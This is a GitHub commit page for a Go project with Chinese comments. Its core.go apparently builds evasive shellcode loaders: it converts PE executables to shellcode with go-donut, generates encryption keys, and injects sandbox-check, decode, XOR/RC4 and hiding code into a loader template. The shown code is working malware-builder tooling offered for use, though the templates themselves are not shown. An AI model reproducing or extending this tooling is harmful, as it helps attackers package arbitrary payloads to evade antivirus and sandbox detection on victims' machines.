Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
testitok committed Aug 28, 2024
1 parent 0d57872 commit 20cb138
Show file tree
Hide file tree
Showing 61 changed files with 7,985 additions and 0 deletions.
2 changes: 2 additions & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
22 changes: 22 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
### Go template
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
*.txt
# Test binary, built with `go test -c`
*.test

# Output of the go coverage tool, specifically when used with LiteIDE
*.out

# Dependency directories (remove the comment below to include it)
# vendor/

.idea/*
.bin
.xml

*.zip
Binary file added FontLibrary/simsun.ttc
Binary file not shown.
Binary file added Icon.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
21 changes: 21 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2022 piiperxyz

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
189 changes: 189 additions & 0 deletions core/core.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
package core

import (
"github.com/Binject/go-donut/donut"
"io/ioutil"
"log"
"os"
"path"
"strings"
"text/template"
"time"
)

type FormatTp struct {
tp *template.Template
}

func (f FormatTp) Exec(args map[string]interface{}) string {
s := new(strings.Builder)
err := f.tp.Execute(s, args)
if err != nil {
// 放心吧,这里不可能触发的,除非手贱:)
panic(err)
}
return s.String()
}

func Format(fmt string) FormatTp {
var err error
temp, err := template.New("").Parse(fmt)
if err != nil {
// 放心吧,这里不可能触发的,除非手贱:)
panic(err)
}
return FormatTp{tp: temp}
}
func Format1(fmt string) FormatTp {
var err error
temp, err := template.New("").Parse(fmt)
if err != nil {
// 放心吧,这里不可能触发的,除非手贱:)
panic(err)
}
return FormatTp{tp: temp}
}

// 给loader文件插入代码,需注意import的库需要去重
func addCode(Code []string, method string) {
loaderFileByte, _ := ioutil.ReadFile(path.Join(TempDir, "main.go"))
loaderFile := string(loaderFileByte)
var replaceString string
switch method {
case "sandbox":
replaceString = "//__SANDBOX__"
case "decode":
replaceString = "//__DECODE__"
case "separate":
replaceString = "//__SEPARATE__"
case "hide":
replaceString = "//__HIDE__"
case "funct":
replaceString = "//__FUNC__"
}

loaderFile = strings.Replace(loaderFile, replaceString, Code[0], 1)
importField := strings.SplitAfter(loaderFile, "//__IMPORT__")[0]
unImportField := strings.SplitAfter(loaderFile, "//__IMPORT__")[1]
imports := strings.Split(importField, "\n")
new := make([]string, 0)
for i := 0; i < len(imports); i++ {
if strings.Index(Code[1], imports[i]) == -1 {
new = append(new, imports[i]+"\n")
}
}
new = append(new, "\t//__IMPORT__\n")

final := strings.Replace(strings.Join(new, "")+unImportField, "//__IMPORT__", Code[1], 1)
//println(final)
ioutil.WriteFile(path.Join(TempDir, "main.go"), []byte(final), os.ModePerm)
}

func addCode1(Code []string, method string, repstr string, repstr1 string, repstr2 string, repstr3 string, repstr4 string) {
loaderFileByte, _ := ioutil.ReadFile(path.Join(TempDir, "main.go"))
loaderFile := string(loaderFileByte)
var replaceString string
switch method {
case "sandbox":
replaceString = "//__SANDBOX__"
case "quanju":
replaceString = "//__QUANJU__"
case "main":
replaceString = "//__MAIN__"
case "decode":
replaceString = "//__DECODE__"
case "separate":
replaceString = "//__SEPARATE__"
case "hide":
replaceString = "//__HIDE__"
}
str := Format(Code[0]).Exec(map[string]interface{}{
"name": repstr,
"shellcode": repstr1,
"xor": repstr2,
"rc4": repstr3,
"canshu": repstr4,
})

loaderFile = strings.Replace(loaderFile, replaceString, str, 1)
importField := strings.SplitAfter(loaderFile, "//__IMPORT__")[0]
unImportField := strings.SplitAfter(loaderFile, "//__IMPORT__")[1]
imports := strings.Split(importField, "\n")
new := make([]string, 0)
for i := 0; i < len(imports); i++ {
if strings.Index(Code[1], imports[i]) == -1 {
new = append(new, imports[i]+"\n")
}
}
new = append(new, "\t//__IMPORT__\n")

final := strings.Replace(strings.Join(new, "")+unImportField, "//__IMPORT__", Code[1], 1)
//println(final)
ioutil.WriteFile(path.Join(TempDir, "main.go"), []byte(final), os.ModePerm)
}

func addCode2(Code []string, method string, repstr5 string, repstr6 string) {
println(Code)
loaderFileByte, _ := ioutil.ReadFile(path.Join(TempDir, "main.go"))
loaderFile := string(loaderFileByte)
var replaceString string
switch method {
case "sandbox":
replaceString = "//__SANDBOX__"
case "quanju":
replaceString = "//__QUANJU__"
case "main":
replaceString = "//__MAIN__"
case "decode":
replaceString = "//__DECODE__"
case "separate":
replaceString = "//__SEPARATE__"
case "hide":
replaceString = "//__HIDE__"
}

str := Format(Code[0]).Exec(map[string]interface{}{
"shellcode": repstr5,
"suiji": repstr6,
})

loaderFile = strings.Replace(loaderFile, replaceString, str, 1)
importField := strings.SplitAfter(loaderFile, "//__IMPORT__")[0]
unImportField := strings.SplitAfter(loaderFile, "//__IMPORT__")[1]
imports := strings.Split(importField, "\n")
new := make([]string, 0)
for i := 0; i < len(imports); i++ {
if strings.Index(Code[1], imports[i]) == -1 {
new = append(new, imports[i]+"\n")
}
}
new = append(new, "\t//__IMPORT__\n")

final := strings.Replace(strings.Join(new, "")+unImportField, "//__IMPORT__", Code[1], 1)
//println(final)
ioutil.WriteFile(path.Join(TempDir, "main.go"), []byte(final), os.ModePerm)

}

func PE2shellcode(srcFile string, shellName string) {
donutConfig := donut.DefaultConfig()
payload, err := donut.ShellcodeFromFile(srcFile, donutConfig)
if err != nil {
log.Println(err)
}
err = ioutil.WriteFile(path.Join(TempDir, shellName), payload.Bytes(), os.ModePerm)
if err != nil {
log.Println(err)
}

}

func generateKey(keyName string) []byte {
key := time.Now().String()[5:27]
err := ioutil.WriteFile(path.Join(TempDir, keyName), []byte(key), os.ModePerm)
println(keyName)
if err != nil {
log.Println(err)
}
return []byte(key)
}
Loading

0 comments on commit 20cb138

Please sign in to comment.